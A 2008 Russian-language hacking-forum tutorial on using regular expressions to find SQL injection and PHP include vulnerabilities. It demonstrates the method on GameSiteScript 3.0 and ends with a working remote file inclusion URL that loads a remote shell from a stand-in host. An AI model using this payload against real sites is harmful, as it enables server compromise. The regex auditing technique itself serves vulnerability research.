Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Использование регулярных выражений при поиске уязвимостей php |

09.02.2008, 22:51
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме: 1845062
Репутация:
1079
|
|
Использование регулярных выражений при поиске уязвимостей php
Поиск уязвимостей с помощью регулярных выражений.
Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
Итак, начнем.
1. Чем искать
Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench

Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.
Скачать: http://silveragesoftware.com/ftp/HFF...benchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...
Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench
2. Как искать
Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :
SQL injection
Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :
Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)
Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*
PHP include
Тут все гораздо проще 
Вероятно, что бага есть (GPC переменная входит в инклуд) :
Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
Менее вероятно, что бага есть (когда в инклуд входит переменная) :
Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
3. Пример
В качестве скрипта для примера возьму GameSiteScript 3.0
Скачать и посмотреть описание можно тут
Вводим поиск на маловероятный php include 
Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
И смотрим результаты...
Вот один из них

Смотрим код файла
\plugins\site\themes\21\smallbox.php
PHP код:
<?php
$menunames = explode("|", $themecfg['boxcontentorder']);
echo "<tr>";
$i = 0;
foreach ($menunames as $menuname) {
if ($i%2==0 && $i!=0) {
echo "</tr><tr>";
}
include $menuname."box.php";
$i++;
}
echo "</tr>";
?>
Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.
Итог: найдена новая RFI уязвимость
Код:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?
PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.
Последний раз редактировалось Macro; 10.02.2008 в 00:52..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|